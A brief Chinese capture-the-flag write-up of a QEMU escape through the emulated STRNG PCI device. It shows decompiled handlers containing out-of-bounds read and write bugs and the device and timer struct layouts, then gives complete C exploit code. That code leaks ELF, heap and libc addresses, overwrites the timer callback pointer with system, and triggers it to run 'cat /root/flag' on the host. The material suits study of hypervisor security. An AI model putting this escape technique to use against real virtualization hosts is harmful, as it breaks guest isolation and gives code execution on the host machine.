稍做记录
uint64_t __cdecl strng_mmio_read(struct STRNGState *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax
if ( size != 4 || addr & 3 )
result = -1LL;
else
result = opaque->regs[addr>>2]; //oob read
return result;
}
void __cdecl strng_pmio_write(struct STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
int64_t v4; // rax
uint32_t saddr; // [rsp+24h] [rbp-Ch]
if ( size == 4 )
{
if ( addr )
{
if ( addr == 4 && !(opaque->addr & 3) )
{
saddr = opaque->addr >> 2;
if ( saddr == 1 )
{
opaque->regs[1] = rand();
}
else if ( saddr < 1 )
{
srand(val);
}
else if ( saddr == 3 )
{
opaque->regs[3] = rand_r(&opaque->regs[2]);
}
else
{
opaque->regs[saddr] = val; // oob write
if ( opaque->flag )
{
v4 = qemu_clock_get_ms_4(QEMU_CLOCK_VIRTUAL_0);
timer_mod(&opaque->strng_timer, v4 + 100);
}
}
}
}
else
{
opaque->addr = val;
}
}
}
漏洞在mmio_read与mmio_write
一个越界读,一个越界写。
漏洞的利用思路
要利用strngdata结构体
00000000 STRNGState struc ; (sizeof=0xC30, align=0x10, copyof_1437)
00000000 pdev PCIDevice_0 ?
000008F0 mmio MemoryRegion_0 ?
000009F0 pmio MemoryRegion_0 ?
00000AF0 addr dd ?
00000AF4 flag dd ?
00000AF8 regs dd 64 dup(?)
00000BF8 strng_timer QEMUTimer_0 ?
00000C28 db ? ; undefined
00000C29 db ? ; undefined
00000C2A db ? ; undefined
00000C2B db ? ; undefined
00000C2C db ? ; undefined
00000C2D db ? ; undefined
00000C2E db ? ; undefined
00000C2F db ? ; undefined
00000C30 STRNGState ends
00000000 QEMUTimer_0 struc ; (sizeof=0x30, align=0x8, copyof_506)
00000000 ; XREF: IscsiTask/r
00000000 ; STRNGState/r
00000000 expire_time dq ?
00000008 timer_list dq ? ; offset
00000010 cb dq ? ; offset
00000018 opaque dq ? ; offset
00000020 next dq ? ; offset
00000028 scale dd ?
0000002C db ? ; undefined
0000002D db ? ; undefined
0000002E db ? ; undefined
0000002F db ? ; undefined
00000030 QEMUTimer_0 ends
结构体最后一项qemutimer结构体里面很多指针,我们可以泄露基地址。
然后劫持cb函数指针,system的plt地址整上即可。
这都是常规思路了
在之前的vexx等等中都有提及。
exp
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
#define MMIO_FILE "/sys/devices/pci0000:00/0000:00:04.0/resource0"
#define PMIO_BASE 0xc050
char* MMIO_BASE;
void die(char* msg){
perror(msg);
exit(-1);
}
void init_io(){
int mmio_fd = open(MMIO_FILE, O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("open mmio file error");
MMIO_BASE = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (MMIO_BASE == MAP_FAILED)
die("mmap mmio file failed");
if (iopl(3) != 0)
die("io permission requeset failed");
}
uint32_t pmio_read(uint32_t offset){
return (uint32_t)inl(PMIO_BASE + offset);
}
void pmio_write(uint32_t offset, uint32_t val){
outl(val, PMIO_BASE + offset);
}
uint32_t mmio_read(uint32_t offset){
return *(uint32_t *)(MMIO_BASE + offset);
}
void mmio_write(uint32_t offset, uint32_t val){
*(uint32_t *)(MMIO_BASE + offset) = val;
}
uint32_t pmio_oob_read(uint32_t offset) {
pmio_write(0, offset);
return pmio_read(4);
}
void pmio_oob_write(uint32_t offset, uint32_t val){
pmio_write(0, offset);
pmio_write(4, val);
}
/*
cat /root/flag
0x20746163
0x6f6f722f
0x6c662f74
0x00006761
*/
int main(int argc, char **argv){
uint64_t elf_base, state_addr, libc_base, system_addr;
uint32_t reg_offset = 0xaf8;
init_io();
mmio_write(0x10, 0x20746163);
mmio_write(0x14, 0x6f6f722f);
mmio_write(0x18, 0x6c662f74);
mmio_write(0x1c, 0x00006761);
elf_base = pmio_oob_read(0xc0c-reg_offset);
elf_base <<= 32;
elf_base |= pmio_oob_read(0xc08-reg_offset);
elf_base -= 0x29ac8e;
printf("elf_base : %#llxn", elf_base);
state_addr = pmio_oob_read(0xc14-reg_offset);
state_addr <<= 32;
state_addr |= pmio_oob_read(0xc10-reg_offset);
printf("state_addr : %#llxn", state_addr);
libc_base = pmio_oob_read(0x7698+4-reg_offset);
libc_base <<= 32;
libc_base |= pmio_oob_read(0x7698-reg_offset);
libc_base -= 0x3c4b78;
printf("libc_base : %#llxn", libc_base);
system_addr = libc_base+0x45390;
// overwrite cb function ptr
pmio_oob_write(0xc0c-reg_offset, (uint32_t)(system_addr>>32));
pmio_oob_write(0xc08-reg_offset, (uint32_t)(system_addr&0xffffffff));
// overwrite function's argument
pmio_oob_write(0xc14-reg_offset, (uint32_t)((state_addr+0xb08) >> 32));
pmio_oob_write(0xc10-reg_offset, (uint32_t)((state_addr+0xb08) & (0xffffffff)));
// trigger timer -> call-back function
mmio_write(0x20, 0);
pmio_oob_write(0, 0);
sleep(1);
return 0;
}
代码是嫖的pu1p大佬的
泄露了libc,但是其实没必要啦。